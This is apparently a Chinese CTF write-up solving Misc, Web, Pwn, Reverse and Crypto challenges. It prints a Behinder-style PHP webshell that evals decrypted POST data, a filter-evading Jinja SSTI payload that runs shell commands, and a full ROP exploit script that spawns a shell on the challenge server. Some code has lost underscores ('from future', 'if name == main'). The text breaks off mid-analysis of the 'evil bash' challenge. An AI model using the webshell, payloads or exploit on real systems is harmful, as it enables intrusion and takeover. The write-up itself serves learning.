随着解题过程逐渐开新阶段,3题开二阶段,5题开三阶段

​

Stage1

Misc-冰碧蝎?

开幕冰蝎流量的加密php代码

<?php
  @error_reporting(0);
session_start();
$key="1ca3b8c9c81a5fdc";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
  $t="base64_"."decode";
  $post=$t($post."");
  for($i=0;$i<strlen($post);$i++) {
    $post[$i] = $post[$i]^$key[$i+1&15];
  }
}
else
{
  $post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

接下来按照代码中的密钥1ca3b8c9c81a5fdc解密冰蝎流量

可以看到执行的命令,根据命令可以看到如果服务器有openssl的话会有一个openssl的AES128加密,如果没有则是循环异或

发现攻击者执行了cd /var/www/html/upload/ ;echo 2i9Q8AtFEuzYHxwcUmpjFCQchUd1QqwQMf8mWfvUwm9LE8UaKVYDTaq5tG > ffffff111aG && ls

怀疑这部分就是flag,直接使用随波逐流解码,得到flag

SecureDoc

注册登录后,可以看到这些接口:

/documents/list

/documents/create

/documents/apply-template

其中前端对/documents/apply-template的注释直接写了ECB Oracle vulnerability,这个点最值得优先看。

向/documents/apply-template发送不同长度的content,返回里会带:

encrypted_content

block_count

total_length

测试发现明文是用户输入 + 固定后缀,没有随机 iv,相同明文块会得到相同密文块,固定后缀长度是82

所以它本质上就是标准的 byte-at-a-time ECB oracle。

直接按经典 ECB oracle 方式逐字节爆破,最终恢复出的后缀为:

*******SecureDoc,username:suP3r@dm!n ******** password: S3cur3P@ssMjcwMzQz! ******

从中提取管理员凭据:

username = suP3r@dm!n

password = S3cur3P@ssMjcwMzQz!

使用上一步恢复出的凭据登录,成功进入

/admin/dashboard

后台还有一个模板预览接口

/admin/report/preview

测试

{{7*7}}

返回49,说明这里是 Jinja SSTI。

虽然常见 payload 如config、self、request、globals会被拦,但这只是关键字黑名单,不是真正的沙箱。

可以用cycler和attr继续取对象属性,再把globals写成十六进制转义绕过过滤:

{{ ((cycler.next|attr("\x5f\x5fglobals\x5f\x5f")).get("os")).popen("cat /flag").read() }}

成功执行命令并读取/flag。

最终 flag:

flag{oIBPyRbCotalsEXY7QfbTqih3GAp2etL}

Pwn-keep_stack

入口调用了sub4016C8进入该函数

s只有128字节,但是后续子函数把他当成带数据的结构体引用了,所以存在越界操作
每次调用函数漏洞前,全局变量就被xor两次,这就导致了后续写入步常在不同轮次发生切换

程序把s+0x80当做了长度,s+0x88当做了索引,但是写入的目标是s+strideidx,由于这两个字段本身就在这个栈帧,所以可以越界覆写返回地址

栈布局图是这样

  s + 0x00  : buffer[128]                                                           
  s + 0x80  : fake len                                                              
  s + 0x88  : fake idx                                                              
  s + 0xa0  : saved rbp                                                             
  s + 0xa8  : saved rip

公共逻辑库

import os
from pathlib import Path

# Keep pwntools cache/config inside the workspace to avoid permission issues.
BASE_DIR = Path(__file__).resolve().parent
os.environ.setdefault("XDG_CACHE_HOME", str(BASE_DIR / ".cache"))
os.environ.setdefault("XDG_CONFIG_HOME", str(BASE_DIR / ".config"))

cfg_dir = Path(os.environ["XDG_CONFIG_HOME"])
cfg_dir.mkdir(parents=True, exist_ok=True)
pwn_conf = cfg_dir / "pwn.conf"
if not pwn_conf.exists():
    pwn_conf.write_text("[update]\ninterval=never\n", encoding="ascii")

from pwn import ELF, args, context, flat, log, p64, process, remote


context.binary = ELF(str(BASE_DIR / "keep_stack"), checksec=False)
context.arch = "amd64"
context.log_level = "info"

LIBC = ELF(str(BASE_DIR / "libc.so.6"), checksec=False)

HOST = "pwn-65190ea058.adworld.xctf.org.cn"
PORT = 9999

POP_RDI = 0x4011E1
RET = 0x40101A
PUTS_PLT = 0x401090
PUTS_GOT = 0x404018
VULN = 0x4016C8
REENTRY = 0x40178C

WRITE_START = 0
LEN_OFF = 0x80
IDX_OFF = 0x88
RIP_OFF = 0xA8
FAKE_LEN = 0x81
FAKE_IDX = 0x44

STAGE1_STRIDE = 4
STAGE1_LEN = 0x2C
STAGE1_LEN_WORD = LEN_OFF // STAGE1_STRIDE
STAGE1_IDX_WORD = IDX_OFF // STAGE1_STRIDE
STAGE1_RIP_WORD = RIP_OFF // STAGE1_STRIDE

FLAG_CMD = (
    b"cat /flag 2>/dev/null; "
    b"cat /home/ctf/flag 2>/dev/null; "
    b"cat /home/pwn/flag 2>/dev/null; "
    b"ls /; exit"
)


def local_argv():
    return [
        str(BASE_DIR / "ld-linux-x86-64.so.2"),
        "--library-path",
        str(BASE_DIR),
        str(BASE_DIR / "keep_stack"),
    ]


def mode_desc() -> str:
    if args.LOCAL and not args.REMOTE:
        return "LOCAL ./ld-linux-x86-64.so.2 --library-path . ./keep_stack"
    return f"REMOTE {HOST}:{PORT} ssl=True"


def banner(name: str):
    print(f"[*] {name}")
    print(f"[*] mode = {mode_desc()}")


def calc_libc(leak: int) -> dict[str, int]:
    libc_base = leak - LIBC.symbols["puts"]
    return {
        "puts": leak,
        "base": libc_base,
        "system": libc_base + LIBC.symbols["system"],
        "bin_sh": libc_base + next(LIBC.search(b"/bin/sh\x00")),
    }


def print_libc(info: dict[str, int]):
    print(f"[+] puts@libc = {info['puts']:#x}")
    print(f"[+] libc base = {info['base']:#x}")
    print(f"[+] system    = {info['system']:#x}{' [contains 0x0a]' if has_bad_byte(info['system']) else ''}")
    print(f"[+] /bin/sh   = {info['bin_sh']:#x}{' [contains 0x0a]' if has_bad_byte(info['bin_sh']) else ''}")


def bad_stage2(info: dict[str, int]) -> bool:
    return has_bad_byte(info["system"]) or has_bad_byte(info["bin_sh"])


def notes() -> list[str]:
    p = build_stage1_reentry()
    return [
        f"POP_RDI = {POP_RDI:#x}",
        f"RET     = {RET:#x}",
        f"PUTS_PLT= {PUTS_PLT:#x}",
        f"PUTS_GOT= {PUTS_GOT:#x}",
        f"REENTRY = {REENTRY:#x}",
        "",
f"LEN_OFF = {LEN_OFF:#x}",
f"IDX_OFF = {IDX_OFF:#x}",
f"RIP_OFF = {RIP_OFF:#x}",
"",
f"STAGE1_LEN      = {STAGE1_LEN:#x}",
f"STAGE1_LEN_WORD = {STAGE1_LEN_WORD:#x}",
f"STAGE1_IDX_WORD = {STAGE1_IDX_WORD:#x}",
f"STAGE1_RIP_WORD = {STAGE1_RIP_WORD:#x}",
        "",
        f"len  field bytes = {p[STAGE1_LEN_WORD * 2:(STAGE1_LEN_WORD + 2) * 2].hex()}",
        f"idx  field bytes = {p[STAGE1_IDX_WORD * 2:(STAGE1_IDX_WORD + 2) * 2].hex()}",
        f"ripL field bytes = {p[STAGE1_RIP_WORD * 2:(STAGE1_RIP_WORD + 2) * 2].hex()}",
    ]


def has_bad_byte(value: int) -> bool:
    packed = value.to_bytes(8, "little")
    return b"\n" in packed


def encode_payload(rop_bytes: bytes) -> tuple[int, bytes]:
    if len(rop_bytes) % 2:
        rop_bytes += b"\x00"
    if b"\n" in rop_bytes:
        raise ValueError("payload contains newline byte")
    return len(rop_bytes) // 2, rop_bytes + b"\n\n"


def build_stage1_reentry() -> bytes:
    words = [b"AA"] * STAGE1_LEN
    words[STAGE1_LEN_WORD] = STAGE1_LEN.to_bytes(2, "little")
    words[STAGE1_LEN_WORD + 1] = b"\x00\x00"
    words[STAGE1_IDX_WORD] = STAGE1_IDX_WORD.to_bytes(2, "little")
    words[STAGE1_IDX_WORD + 1] = b"\x00\x00"
    words[STAGE1_RIP_WORD] = (REENTRY & 0xFFFF).to_bytes(2, "little")
    words[STAGE1_RIP_WORD + 1] = b"\x00\x00"
    return b"".join(words)


def build_payload(chain: bytes) -> bytes:
    prefix = b"A" * (LEN_OFF - WRITE_START)
    prefix += p64(FAKE_LEN)
    prefix += p64(FAKE_IDX)
    prefix += b"B" * (RIP_OFF - IDX_OFF - 8)
    payload = prefix + chain

    if len(payload) % 2:
        payload += b"\x00"
    return payload


def new_conn():
    if args.LOCAL and not args.REMOTE:
        return process(local_argv(), cwd=str(BASE_DIR))
    return remote(HOST, PORT, ssl=True)


def send_stage(io, payload: bytes):
    length, wire = encode_payload(payload)
    io.sendlineafter(b"length:", str(length).encode())
    io.sendafter(b"What do you want to say?", wire)


def leak_puts(io) -> int:
    send_stage(io, build_stage1_reentry())

    stage2 = build_payload(flat(
        RET,
        POP_RDI,
        PUTS_GOT,
        PUTS_PLT,
        REENTRY,
    ))
    send_stage(io, stage2)

    io.recvuntil(b"input: ")
    io.recvuntil(b"\n")
    leaked = io.recvuntil(b"\x7f")
    leaked = leaked[-6:]
    if not leaked:
        raise EOFError("empty puts leak")
    leak = int.from_bytes(leaked.ljust(8, b"\x00"), "little")
    log.info("puts@libc = %#x", leak)
    return leak


def spawn_shell(io, libc_base: int):
    send_stage(io, build_stage1_reentry())

    system = libc_base + LIBC.symbols["system"]
    bin_sh = libc_base + next(LIBC.search(b"/bin/sh\x00"))
    bad_system = has_bad_byte(system)
    bad_binsh = has_bad_byte(bin_sh)

    log.info("system = %#x%s", system, " [contains 0x0a]" if bad_system else "")
    log.info("/bin/sh = %#x%s", bin_sh, " [contains 0x0a]" if bad_binsh else "")

    if bad_system or bad_binsh:
        raise ValueError("stage2 address contains newline byte")

    stage2 = build_payload(flat(
        RET,
        POP_RDI,
        bin_sh,
        system,
    ))
    send_stage(io, stage2)


def read_flag(io) -> bytes:
    io.sendline(FLAG_CMD)
    return io.recvrepeat(3)


def main():
    banner("manual exploit")
    io = new_conn()
    try:
        leak = leak_puts(io)
        info = calc_libc(leak)
        print_libc(info)
        print("[*] confirm with 'y' to send stage2, anything else to exit")

        choice = input("> ").strip().lower()
        if choice != "y":
            print("[*] aborted before stage2")
            return

        spawn_shell(io, info["base"])
        io.interactive()
    finally:
        io.close()


if __name__ == "__main__":
    main()

打印题目的关键静态参数,用来确认利用需要的偏移和目标地址

import solve_keep_stack as s


def main():
    s.banner("static notes")
    print("[*] run remote = python3 exp_00_notes.py")
    print("[*] run local  = python3 exp_00_notes.py LOCAL=1")
    print()
    print("\n".join(s.notes()))


if __name__ == "__main__":
    main()

验证第一次 4 步长重进入

import solve_keep_stack as s

def main():
    s.banner("stage1 re-entry")
    io = s.new_conn()
    try:
        s.send_stage(io, s.build_stage1_reentry())
        print(repr(io.recvrepeat(3)))
    finally:
        io.close()


if __name__ == "__main__":
    main()

验证第二次 2 步长泄露 libc

import solve_keep_stack as s


def main():
    s.banner("stage1 re-entry + stage2 leak")
    io = s.new_conn()
    try:
        s.print_libc(s.calc_libc(s.leak_puts(io)))
    finally:
        io.close()


if __name__ == "__main__":
    main()

完整利用脚本,执行四阶段利用链并读取 flag

import solve_keep_stack as s


def main():
    s.banner("full exploit")
    io = s.new_conn()
    try:
        info = s.calc_libc(s.leak_puts(io))
        s.print_libc(info)
        if s.bad_stage2(info):
            print("[!] current layout contains 0x0a in stage2 address")
            return
        s.spawn_shell(io, info["base"])
        print(repr(s.read_flag(io)))
    finally:
        io.close()


if __name__ == "__main__":
    main()

flag

flag{QOLXEmgHkalNpAUuIfZHED0IUGqKgNJO}

Reverse-SigFlow

程序的逻辑入口位于sub_401A10函数

抗分析检查:调用sub_401C30执行反调试和反分析检测。

构建运行时状态:通过sub_4022F0初始化内部状态。

加密初始化:使用 Token SIGFLOW_RANSIM_TOKEN_2026_LOCKER通过sub_4030E0初始化加密上下文。

递归加密:调用sub_404EE0遍历并加密目标文件。

生成勒索信:通过sub_405570写入README_RESTORE.txt。

每个.siglocked文件结构:

生成原始密文 (sub_404090):

根据sub_4030E0初始化的状态、文件相对路径、文件专用 Tag 以及运行时上下文,生成原始加密流。
VM 后处理 (sub_403A90):

在栈上构建了一个 120 字节的编码指令,并由一个虚拟机解释执行,对上一步生成的密文进行最后的混淆处理。
虚拟机后处理逻辑

sub_403A90

__int64 __fastcall sub_403A90(_BYTE *a1, __int64 a2, __int64 a3, __int64 a4, unsigned __int64 a5)
{
    int v8; // ecx
    __int64 i; // rax
    char v10; // dl
    unsigned __int8 *buf_3; // rdx
    char v12; // bl
    char n7; // r8
    char v14; // r11
    __int64 n5; // rsi
    char n19; // r10
    char n3; // di
    unsigned __int8 j; // r13
    unsigned __int8 k; // al
    char v20; // si
    char v21; // cl
    char v22; // r11
    char v23; // al
    char v24; // di
    char v25; // r10
    char v26; // r8
    __int64 n146; // rax
    unsigned __int8 v28; // al
    unsigned __int64 n4_1; // rdx
    unsigned __int64 v31; // r8
    __int64 v32; // rax
    int n0x100000_1; // esi
    unsigned __int64 n4; // rcx
    unsigned __int8 n112; // al
    char v36; // di
    int n0x100000; // eax
    unsigned __int64 v38; // r11
    char n3_1; // di
    unsigned __int64 v40; // rax
    _BYTE v42[16]; // [rsp+8h] [rbp-3C8h]
    _WORD buf[60]; // [rsp+18h] [rbp-3B8h] BYREF
    char v44; // [rsp+90h] [rbp-340h] BYREF
    _DWORD buf_2[64]; // [rsp+98h] [rbp-338h] BYREF
    _BYTE buf_1[568]; // [rsp+198h] [rbp-238h] BYREF

    if ( !a1 || !a2 || a4 == 0 || a3 == 0 || a5 <= 1 )
        return 0xFFFFFFFFLL;
    v8 = 0;
    for ( i = 0; i != 16; v42[i++] = v10 )
        {
            v10 = *(_BYTE *)(a2 + (i & 7)) ^ v8 ^ a1[i + 328];
            v8 += 55;
        }
    buf_3 = (unsigned __int8 *)buf;
    v12 = -48;
    n7 = 7;
    v14 = 1;
    memset(buf, 0, sizeof(buf));
    memset(buf_1, 0, 0x200u);
    n5 = 5;
    memset(buf_2, 0, sizeof(buf_2));
    n19 = 19;
    n3 = 3;
    for ( j = 26; ; j = byte_4BC343[n5] )
        {
            for ( k = ROL1(n19 ^ a1[(n3 & 0x1F) + 232], a1[(n5 & 0xF) + 37] & 7)
                ^ v12
                ^ a1[(n7 & 0xF) + 328]
                ^ a1[(v14 & 0xF) + 304]; (unsigned __int8)(k - 1) > 0xFDu || *((_BYTE *)buf_2 + k); k += 83 )
                ;
            ++n5;
            *((_BYTE *)buf_2 + k) = 1;
            v12 += 19;
            n3 += 7;
            n19 += 47;
            v14 += 3;
            n7 += 5;
            buf_1[j] = k;
            buf_1[k + 256] = j;
            if ( n5 == 18 )
                break;
        }
    v20 = a1[49];
    v21 = v42[2] + a1[46];
    v22 = a1[41] ^ 0xA5;
    v23 = v42[14] + a1[38];
    buf[10] = 538;
    HIBYTE(buf[3]) = v22;
    LOBYTE(buf[3]) = v21 & 0x7E;
    v24 = *(_BYTE *)(a3 + 13) ^ v42[5];
    buf[12] = 606;
    v25 = a1[239] ^ v42[3];
    v26 = a1[251] ^ v42[11];
    buf[6] = 316;
    LOBYTE(buf[19]) = v25;
    buf[2] = 709;
    buf[14] = 555;
    buf[20] = 385;
    LOBYTE(buf[21]) = v26;
    LOBYTE(buf[0]) = -110;
    LOBYTE(buf[1]) = 2;
    LOBYTE(buf[4]) = 26;
    LOBYTE(buf[5]) = -1;
    LOBYTE(buf[8]) = 111;
    LOBYTE(buf[9]) = 1;
    LOBYTE(buf[16]) = -93;
    LOBYTE(buf[17]) = 6;
    LOBYTE(buf[18]) = -127;
    LOBYTE(buf[22]) = -110;
    LOBYTE(buf[23]) = 3;
    LOBYTE(buf[41]) = v23 & 0x7E;
    buf[26] = 316;
    buf[54] = 299;
    n146 = 146;
    LOBYTE(buf[24]) = 26;
    LOBYTE(buf[25]) = 1;
    LOBYTE(buf[27]) = 9;
    LOBYTE(buf[28]) = 111;
    LOBYTE(buf[29]) = 1;
    buf[30] = 538;
    buf[32] = 606;
    buf[34] = 555;
    LOBYTE(buf[36]) = -76;
    LOBYTE(buf[37]) = 6;
    buf[38] = 641;
    LOBYTE(buf[39]) = v24;
    LOBYTE(buf[40]) = -59;
    HIBYTE(buf[41]) = v20 ^ 0xA5;
    LOBYTE(buf[42]) = -110;
  LOBYTE(buf[44]) = 60;
  buf[46] = 282;
  buf[48] = 589;
  buf[50] = 350;
  LOBYTE(buf[51]) = 2;
  buf[52] = 368;
  LOBYTE(buf[56]) = -93;
  LOBYTE(buf[57]) = 6;
  LOBYTE(buf[58]) = -10;
  while ( 1 )
  {
    if ( (_BYTE)n146 )
    {
      v28 = buf_1[n146];
      if ( !v28 )
        return 0xFFFFFFFFLL;
      *buf_3 = v28;
    }
    buf_3 += 4;
    if ( &v44 == (char *)buf_3 )
      break;
    n146 = *buf_3;
  }
  n4_1 = 0;
  buf_2[0] = 0;
  v31 = 0;
  v32 = LOBYTE(buf[0]);
  n0x100000_1 = 1;
  n4 = 4;
  if ( !LOBYTE(buf[0]) )
    goto LABEL_34;
LABEL_22:
  n112 = buf_1[v32 + 256];
  if ( !n112 )
    return 0xFFFFFFFFLL;
  v36 = *((_BYTE *)&buf[1] + n4_1);
  if ( n112 == 112 )
  {
    *((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) += *((_BYTE *)buf_2 + (*((_BYTE *)&buf[1] + n4_1) & 3));
    goto LABEL_30;
  }
  if ( n112 <= 0x70u )
  {
    if ( n112 == 77 )
    {
      *((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) = *(_BYTE *)(a3
                                                                      + (((_BYTE)v31
                                                                        + *((_BYTE )buf_2
                                                                          + (((_BYTE *)&buf[1] + n4_1) & 3)))
                                                                       & 0x1F));
    }
    else if ( n112 > 0x4Du )
    {
      if ( n112 == 94 )
      {
        *((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) ^= *((_BYTE *)buf_2 + (*((_BYTE *)&buf[1] + n4_1) & 3));
      }
      else
      {
        if ( n112 != 111 )
          return 0xFFFFFFFFLL;
        *((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) = ROL1(
                                                                 *((_BYTE *)buf_2 + (*((_BYTE )buf + n4_1 + 1) & 3)),
                                                                 (((_BYTE *)buf_2 + (*((_BYTE *)&buf[1] + n4_1) & 3))
                                                                + 1)
                                                               & 7);
      }
    }
    else
    {
      if ( n112 != 43 )
      {
        if ( n112 == 60 )
        {
          *((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) = v42[((_BYTE)v31 + v36) & 0xF];
          goto LABEL_30;
        }
        if ( n112 == 26 )
        {
          v38 = v31 + v36;
          if ( v36 < 0 )
          {
            v40 = -v36;
            if ( v40 > v31 )
              return 0xFFFFFFFFLL;
            v38 = v31 - v40;
          }
          if ( a5 > v38 )
          {
            *((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) = *(_BYTE *)(a4 + v38);
            goto LABEL_30;
          }
        }
        return 0xFFFFFFFFLL;
      }
      if ( a5 <= v31 )
        return 0xFFFFFFFFLL;
      *(_BYTE *)(a4 + v31) = *((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3));
    }
LABEL_30:
    n4_1 += 4LL;
    n0x100000 = n0x100000_1;
    while ( 1 )
    {
      n4 = n4_1 + 4;
      ++n0x100000_1;
      if ( n0x100000 == 0x100000 || n4 > 0x78 )
        return 0xFFFFFFFFLL;
      v32 = *((unsigned __int8 *)buf + n4_1);
      if ( (_BYTE)v32 )
        goto LABEL_22;
LABEL_34:
      n0x100000 = n0x100000_1;
      n4_1 = n4;
    }
  }
  if ( n112 == 0xB4 )
  {
    if ( v31 )
    {
      --v31;
      n4_1 -= 4LL * (unsigned __int8)v36;
    }
    goto LABEL_30;
  }
  if ( n112 <= 0xB4u )
  {
    switch ( n112 )
    {
      case 0x92:
        n3_1 = v36 & 3;
        v31 = 1;
        if ( n3_1 != 2 )
        {
          v31 = a5 - 2;
          if ( n3_1 != 3 )
          {
            v31 = 0;
            if ( n3_1 == 1 )
              v31 = a5 - 1;
          }
        }
        break;
      case 0xA3:
        if ( a5 > ++v31 )
          n4_1 -= 4LL * (unsigned __int8)v36;
        break;
      case 0x81:
        *((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) ^= v36;
        break;
      default:
        return 0xFFFFFFFFLL;
    }
    goto LABEL_30;
  }
  if ( n112 == 0xC5 )
  {
    if ( *((_BYTE *)&buf[1] + n4_1 + 1) == (*((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) ^ (unsigned __int8)v36) )
      return 0xFFFFFFFFLL;
    goto LABEL_30;
  }
  return (unsigned int)-(n112 != 0xF6);
}

第一阶段

自前向后遍历缓冲区(从 i = 1 到 n-1):

buf[i] = buf[i] \oplus \text{rol8}(buf[i-1], v42[i] + 1)

第二阶段

自后向前遍历缓冲区(从 i = n-2 到 0

buf[i] = buf[i] \oplus \text{rol8}(buf[i+1], v42[(i + 9) \pmod{16}] + 1)

第三阶段

对缓冲区每个字节进行处理,设 const = v42[0]

buf[i] = ((buf[i] \oplus ctx[(i + const) \pmod{32}]) + const) \pmod{256}

其中 v42 数组的生成逻辑为v42[i] = q1[i \pmod 8] \oplus acc \oplus state[328 + i],其中 acc每轮增加 55。

解密策略

解密过程即为上述步骤的逆运算:

  1. 逆转第三阶段:
  2. 先减去 $const$,再异或 对应位。
  3. 逆转第二阶段:
  4. 自前向后($0$ 到 $n-2$),利用后一个字节恢复当前字节。
  5. 逆转第一阶段:
  6. 自后向前($n-1$ 到 $1$),利用前一个字节恢复当前字节。
  7. 异或原始流:
  8. 将处理后的结果与sub_404090生成的原始字节流进行异或。

sub_4030E0 执行后的初始化状态 Dump。

在 GDB 中通过对空缓冲区调用sub_404090提取各个文件的 KeyStream

exp

from future import annotations

import struct
from pathlib import Path


ROOT = Path(r"E:\Downloads\sigflow\encrypted_data\encrypted_data")
STATE_PATH = Path(r"C:\Users\Lenovo\sigflow_state.bin")
KEYSTREAM_DIR = Path(r"C:\Users\Lenovo\sigflow_keystreams")
OUTPUT_DIR = Path(r"C:\Users\Lenovo\sigflow_final_decrypted")


def rol8(value: int, count: int) -> int:
    count &= 7
    if not count:
        return value & 0xFF
    return ((value << count) | (value >> (8 - count))) & 0xFF


def fnv32(data: bytes) -> int:
    value = 0x811C9DC5
    for byte in data:
        value = ((value ^ byte) * 16777619) & 0xFFFFFFFF
    return value


def build_v42(state: bytes, q1: bytes) -> list[int]:
    acc = 0
    out: list[int] = []
    for i in range(16):
        out.append((q1[i & 7] ^ acc ^ state[328 + i]) & 0xFF)
        acc = (acc + 55) & 0xFF
    return out


def undo_postprocess(body: bytes, state: bytes, q1: bytes) -> bytes:
    v42 = build_v42(state, q1)
    const = v42[0]

    stage2 = bytearray(body)
    for i in range(len(stage2)):
        stage2[i] = ((stage2[i] - const) & 0xFF) ^ state[272 + ((i + const) & 0x1F)]

    stage1 = bytearray(stage2)
    rot = stage2[-1]
    for i in range(len(stage2) - 2, -1, -1):
        rot = rol8(rot, v42[(i + 9) & 0xF] + 1)
        stage1[i] = stage2[i] ^ rot

    plain = bytearray(stage1)
    rot = stage1[0]
    for i in range(1, len(stage1)):
        rot = rol8(rot, v42[i & 0xF] + 1)
        plain[i] = stage1[i] ^ rot

    return bytes(plain)


def decrypt_file(enc_path: Path, ks_path: Path, out_path: Path, state: bytes) -> bytes:
    data = enc_path.read_bytes()
    q1 = data[8:16]
    plain_len = struct.unpack_from("<I", data, 24)[0]
    expected = struct.unpack_from("<I", data, 28)[0]
    body = data[32:]

    pre = undo_postprocess(body, state, q1)
    keystream = ks_path.read_bytes()
    plain = bytes(a ^ b for a, b in zip(pre, keystream))

    if len(plain) != plain_len:
        raise ValueError(f"length mismatch for {enc_path}")
    if fnv32(plain) != expected:
        raise ValueError(f"checksum mismatch for {enc_path}")

    out_path.parent.mkdir(parents=True, exist_ok=True)
    out_path.write_bytes(plain)
    return plain


def main() -> None:
    state = STATE_PATH.read_bytes()
    OUTPUT_DIR.mkdir(parents=True, exist_ok=True)

    mapping = [
        ("db/clients.csv.siglocked", "clients.csv.ks", "db/clients.csv"),
        ("logs/audit.log.siglocked", "audit.log.ks", "logs/audit.log"),
        ("raw/manifest.json.siglocked", "manifest.json.ks", "raw/manifest.json"),
        ("raw/model.bin.siglocked", "model.bin.ks", "raw/model.bin"),
        ("report.txt.siglocked", "report.txt.ks", "report.txt"),
    ]

    parts: dict[str, str] = {}
    for enc_rel, ks_name, out_rel in mapping:
        plain = decrypt_file(
            ROOT / enc_rel,
            KEYSTREAM_DIR / ks_name,
            OUTPUT_DIR / out_rel,
            state,
        )
        text = plain.decode("utf-8", errors="ignore")
        for marker in ("FLAG_PART_01=", "FLAG_PART_02=", "FLAG_PART_03="):
            if marker in text:
                parts[marker] = text.split(marker, 1)[1].splitlines()[0].strip('",')

    if parts:
        print(
            parts.get("FLAG_PART_01=", "")
            + parts.get("FLAG_PART_02=", "")
            + parts.get("FLAG_PART_03=", "")
        )


if name == "main":
    main()

解密后的明文均通过了文件头中 FNV32 校验码的验证:

db/clients.csv -> 0xe95b7d6b (验证通过)

logs/audit.log -> 0xcf3d430a (验证通过)

raw/manifest.json -> 0x48b79f14 (验证通过)

从解密后的文件中提取出 Flag 各部分:

FLAG_PART_01=flag{sigflow_vm_

FLAG_PART_02=signal_mixed_

FLAG_PART_03=vm_locked_files}

flag

flag{sigflow_vm_signal_mixed_vm_locked_files}

Crypto-base

题目通过看二进制位是 0 还是 1,来决定是输出纯随机块,还是经过 AES 加密后的块,翻 aes.py 的源码,数一下Sbox就会发现Bug:字节 0xCC出现了两次,而 0xCE消失了,因为 AES 的最后一轮是没有列混淆,因此这个bug意味着最后一轮加密后的结果不会再存在某个特定字节,因此利用这个特征去区分,切片拿用一列4500字节去重,极其256个可能的肯定就是没加密的随机数,如果没凑齐,那就肯定是aes密文

拿到二进制流串字符,flag就是经过了两次base64编码密钥打乱,附件里说了flag是uuid4格式,中间有-而且规范是4,但是直接跑z3一开始卡死了,因为位移的事,所以我们把触发换成LShR和&就行了。

会跑出很多错误解,还是得验证一下md5

完整exp

import lzma, ast, z3, hashlib
from Crypto.Util.number import long_to_bytes

p = ast.literal_eval(lzma.open("output", "rt").read())

c_bin = "".join("0" if len(set(x[0::16])) == 256 else "1" for x in p)
C_STR = long_to_bytes(int(c_bin, 2)).decode()


s = z3.Solver()
flag = [z3.BitVec(f'f_{i}', 8) for i in range(42)]
V = [z3.BitVec(f'V_{i}', 8) for i in range(64)] 

s.add(z3.Distinct(V))
for i in range(64): s.add(V[i] >= 0, V[i] < 64)

for i, c in enumerate(b"flag{"): s.add(flag[i] == c)
s.add(flag[41] == ord('}'))
for i in [13, 18, 23, 28]: s.add(flag[i] == ord('-'))
s.add(flag[19] == ord('4'))
s.add(z3.Or([flag[24] == ord(c) for c in '89ab']))
hex_idx = list(range(5,13)) + list(range(14,18)) + list(range(20,23)) + list(range(25,28)) + list(range(29,41))
for i in hex_idx:
    s.add(z3.Or(z3.And(flag[i] >= ord('0'), flag[i] <= ord('9')), z3.And(flag[i] >= ord('a'), flag[i] <= ord('f'))))

def b64_enc(data):
    res = []
    for i in range(0, len(data) - len(data)%3, 3):
        res.extend([z3.LShR(data[i], 2), ((data[i]&3)<<4) | z3.LShR(data[i+1], 4), ((data[i+1]&15)<<2) | z3.LShR(data[i+2], 6), data[i+2]&63])
    if len(data) % 3 == 2:
        res.extend([z3.LShR(data[-2], 2), ((data[-2]&3)<<4) | z3.LShR(data[-1], 4), (data[-1]&15)<<2])
    return res

B1 = b64_enc(flag)
table = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
S_ascii = [z3.BitVec(f'Sa_{i}', 8) for i in range(56)]

for i in range(56):
    for j in range(64):
        s.add(z3.Implies(B1[i] == j, S_ascii[i] == table[j]))

B2 = b64_enc(S_ascii)

for i in range(75):
    s.add(V[table.index(C_STR[i].encode())] == B2[i])

if s.check() == z3.sat:
    res = bytes([s.model()[f].as_long() for f in flag])
    if hashlib.md5(res).hexdigest() == 'ec2783d8262e2621eece6e9e236479dc':
        print(f"Flag: {res.decode()}")
else:
    print("失败")

flag

flag{48a67e13-9999-479f-8e44-4fb39e28d417}

Stage2

Reverse-evil bash
bash
解题思路

  1. 从流量里提取异常会话,识别自定义协议。
  2. 逆向被替换的 bash,还原它内部的 RSA 包装和自定义 VM。
  3. 从 type=2 包里恢复服务器下发的 VM 脚本,拿到完整命令链和 32 层加密口令。
  4. 通过 Wiener attack 直接恢复 RSA 私钥,解开 type=3 回包,拿到 flag.enc.32.tar,再逐层解密得到 flag.txt。

用tshark查看包后,可以发现真正有价值的是tcp.stream == 1这条本地环回连接:

127.0.0.1:42594 <-> 127.0.0.1:9999

它的载荷不是标准协议 格式是

magic: 4 bytes = "DSMV"

type : u32, big endian

len : u32, big endian

data : len bytes

crc32: u32, big endian

交互顺序

  1. type=1:服务端发握手,内容是 ASCII 十六进制的 n|e
  2. type=4:客户端确认
  3. 多个 type=2:服务端下发任务
  4. 多个 type=3:客户端回传结果
  5. type=5:会话结束

握手中的两个大整数为:

n = 9f8e752fb4e6388d8e171b2d36cdb718cbba283b5d11e4035961f1f1f872059ed68e7a3ac7f3551dc80bb3864ea55108aca0261a682b4c81e6ea5298e4162f57bcb464fa9a14e55f2249325d629815010f3d03802fecbbe871ad4bd46a0a403f0e6c201f16db8b125f1da1aa84bca04e05e30cbfbae87980388f037026702df1
e = 775a9cb1423c12cb215987e6ea8e4f596c02bd77715883fce26cb1133a2d761624845e5b8c51d4bbeb98fb68d6de91d2bd1faf00bb2757dd5881a08b2cf69128fdcb0fc2c92257ea00b89b53128956a8d4fbf3340d343e4c7918cefbcd26ba9a7581c946d3d0ed466b176fc2d9055a637236635631d2949f4b41ec6e88432da7

结合 ELF 行为可以确认它其实是服务端下发给客户端使用的公钥指数

ELF

HTTP 流里能提取出一个可疑的/bash文件,即 bash。

逆向关键函数:

0xa8f30:包读取函数
0xa9430:包发送函数
